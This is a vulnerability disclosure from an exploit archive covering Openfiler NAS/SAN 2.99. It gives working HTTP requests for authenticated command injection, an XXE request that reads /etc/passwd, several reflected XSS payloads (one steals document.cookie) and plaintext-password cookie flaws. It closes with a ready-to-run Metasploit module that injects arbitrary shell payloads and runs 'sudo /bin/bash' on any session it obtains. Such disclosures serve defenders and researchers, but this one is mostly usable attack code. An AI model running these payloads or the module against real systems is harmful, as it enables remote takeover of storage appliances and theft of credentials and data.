Openfiler NAS/SAN Appliance 2.99 XSS / Traversal / Command Injection



EKU-ID: 4079 CVE: OSVDB-ID:
Author: MiDoveteMollare Published: 2014-06-12 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#Tested on Openfiler NAS/SAN Appliance version 2.99
#Author: MiDoveteMollare
#Date: 10 June 2014

OS Command Injection (after authentication) #1
page: services_iscsi_target.html
paramenter: password

POST /admin/services_iscsi_target.html HTTP/1.1
Host: IP:446
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://IP:446/admin/services_iscsi_target.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password;
template=classic; lng=en

username=AAA&addChapUser=Add&usertype=OutgoingUser&password=aaaa`touch%20/tmp/test`


OS Command Injection (after authentication) #2
page: volumes_iscsi_targets.html
paramenter: newTgtName

POST /admin/volumes_iscsi_targets.html HTTP/1.1
Host: IP:446
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://IP:446/admin/volumes_iscsi_targets.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password;
template=classic; lng=en

addNewTgt=Add&newTgtName=aaaa`touch%20/tmp/bbbbb`


Path Traversal (after authentication) :
page: system_ups.html
paramenter: TinkerAjaxArgs[]

POST /admin/system_ups.html HTTP/1.1
Host: IP:446
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101
Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Method: POST https://IP:446/admin/system_ups.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://IP:446/admin/system_ups.html
Content-Length: 1180
Cookie: template=classic; lng=en; subNavIscsi-targetset=true;
subNavIscsi-lunmap=false; subNavIscsi-networkacl=false;
subNavIscsi-chapauth=false; usercookie=openfiler; passcookie=password
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

TinkerAjax=addUPSDevice&TinkerAjaxr=1402385862174&TinkerAjaxArgs[]=<!DOCTYPE%20foo%20[<!ENTITY%20xxe915a7%20SYSTEM%20"file%3a%2f%2f%2fetc%2fpasswd">%20]><tinker-query>%0a%09<object><name>devicenameinput<%2fname>%0a%09%09<value>APC%20-%20Back-UPS%20CS%20350%20USB%2fSerial%26xxe915a7%3b<%2fvalue><%2fobject>%0a%09<object><name>driverinput<%2fname>%0a%09%09<value>apcsmart<%2fvalue><%2fobject>%0a%09%09<object><name>upsstatusinput<%2fname>%0a%09%09<value>1<%2fvalue><%2fobject>%0a%09<object><name>confignameinput<%2fname>%0a%09%09<value>ups0<%2fvalue><%2fobject>%0a%09<object><name>portinput<%2fname>%0a%09%09<value>ttyS0<%2fvalue><%2fobject>%0a%09<object><name>descinput<%2fname>%0a%09%09<value>dsa<%2fvalue><%2fobject>%0a%09<object><name>sorderinput<%2fname>%0a%09%09<value>0<%2fvalue><%2fobject>%0a%09<object><name>cableinput<%2fname>%0a%09%09<value>simple<%2fvalue><%2fobject>%0a%09<object><name>sdtypeinput<%2fname>%0a%09%09<value>0<%2fvalue><%2fobject>%0a%09<object><name>configformsubm
 itbutton<%2fname>%0a%09%09<value>Add%20Device<%2fvalue><%2fobject>%0a%09<object><name>configformcancelbutton<%2fname>%0a%09%09<value>Cancel<%2fvalue><%2fobject>%0a%0a<%2ftinker-query>%0a


Passwords are saved in clear text in cookies:

HTTP/1.1 302 Found
Date: Mon, 09 Jun 2014 12:09:45 GMT
Server: Apache/2.2.9 (rPath)
X-Powered-By: PHP/5.2.11
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: usercookie=root; path=/; secure
Set-Cookie: passcookie=mypassword; path=/; secure

Cookies are not protected with HttpOnly:

HTTP/1.1 200 OK
Date: Sun, 02 Feb 2003 01:01:03 GMT
Server: Apache/2.2.9 (rPath)
X-Powered-By: PHP/5.2.11
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: language_code=it_IT; expires=Mon, 02-Feb-2004 01:01:04 GMT;
path=/
Set-Cookie: usercookie=openfiler; path=/; secure
Set-Cookie: passcookie=password; path=/; secure


Reflected XSS (before authentication):
Tested with Chrome, not working on Firefox.

https://IP:446/uptime.html?TinkerAjax=getUptime0fa3e]]%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3C![CDATA[alert%28document.cookie%29]]%3E%3C/script%3E[[&TinkerAjaxr=1402315831409

Reflected XSS (after authentication):
page: services_ftp.html
parameters: MaxInstances, PassivePorts, Port, ServerName, TimeoutLogin,
TimeoutNoTransfer, TimeoutStalled,

POST /admin/services_ftp.html HTTP/1.1
Host: IP:446
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://IP:446/admin/services_ftp.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 262
Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password;
template=classic; lng=en

TimeoutIdle=600&TimesGMT=on&ServerName=FTP+Server&TimeoutStalled=3600&MaxInstances="><script>alert(1)</script>&TimeoutLogin=120&AllowForeignAddress=on&IdentLookups=on&Port=21&TimeoutNoTransfer=900&PassivePorts=55535+65534&ServerIdent=on&UseReverseDNS=on&applyftpsettings=Apply&reload=on

Reflected XSS (after authentication):
page: /admin/system.html
[parameterd: dns1 dns2

GET
/admin/system.html?dns1=1.1.1.1"><script>alert(1)</script>&dns2=1.1.1.1&gateway=DHCP+Controlled&netconf=Update&hostname=localhost.localdomain


Reflected XSS (after authentication):
page: /admin/volumes_iscsi_targets.html
parameter: newTgtName

POST /admin/volumes_iscsi_targets.html HTTP/1.1
Host: IP:446
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://IP:446/admin/volumes_iscsi_targets.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Cookie: language_code=it_IT; usercookie=openfiler; passcookie=password;
template=classic; lng=en

addNewTgt=Add&newTgtName=iqn.2006-01.com.openfiler%3atsn"><script>alert(1)<%2fscript>

Reflected XSS with the User-Agent HTTP header in the following pages (after
authentication):
/account/language.html
/account/login.html
/account/password.html
/admin/account_groups.html
/admin/account_users.html
/admin/services.html
/admin/services_ftp.html
/admin/services_iscsi_target.html
/admin/services_rsync.html
/admin/system_clock.html
/admin/system_info.html
/admin/system_ups.html
/admin/volumes_editpartitions.html
/admin/volumes_iscsi_targets.html

e.g:

POST /account/language.html HTTP/1.1
Host: IP:446
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)--><script>alert(1)</script>


PHP version leak:
https://IP:446/phpinfo.html


Draft of a Metasploit Module for command injection #2

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Openfiler v2.99 Volumes Iscsi Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability in Openfiler v2.99
        which could be abused to allow authenticated users to execute
arbitrary
        code under the context of the 'openfiler' user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          ' <MiDoveteMollare[at]gmail.com>' # Discovery and exploit
        ],
      'References'     =>
        [
          ['BID', 'TBD'],
          ['URL', 'TBD'],
          ['OSVDB', 'TBD'],
          ['EDB',   'TBD']
        ],
      'DefaultOptions'  =>
        {
          'ExitFunction' => 'none'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet python perl bash',
            }
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 10 2014",
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(446),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'The username for the
application', 'openfiler']),
        OptString.new('PASSWORD', [true, 'The password for the
application', 'password'])
      ], self.class)
  end

  def check
    # retrieve software version from login page
    vprint_status("#{peer} - Sending check")
    begin

      res = send_request_cgi({
        'uri' => '/'

      })

      if    res and res.code == 200 and res.body =~ /<strong>Distro
Release:&nbsp;<\/strong>Openfiler [NE]SA 2\./
        return Exploit::CheckCode::Appears
      elsif res and res.code == 200 and res.body =~ /<title>Openfiler
Storage Control Center<\/title>/
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
      vprint_error("#{peer} - Connection failed")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

  def on_new_session(client)
    client.shell_command_token("sudo /bin/bash")
  end


  def exploit
    user  = datastore['USERNAME']
    pass  = datastore['PASSWORD']
    cmd   = Rex::Text.uri_encode("#{payload.raw}&")

    # send payload
    print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)")
    begin

      res = send_request_cgi({
        'uri'    => "/admin/volumes_iscsi_targets.html",
    'method' => "POST",
    'data' => "addNewTgt=Add&newTgtName=aaaa`#{cmd}`",
        'cookie' => "usercookie=#{user}; passcookie=#{pass};",
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
      fail_with(Failure::Unknown, 'Connection failed')
    end

    if res and res.code == 302
     print_good("#{peer} - Payload sent successfully")
    elsif res and res.code == 302 and res.headers['Location'] =~
/\/index\.html\?redirect/
      fail_with(Failure::NoAccess, 'Authentication failed')
    else
      fail_with(Failure::Unknown, 'Sending payload failed')
    end

  end
end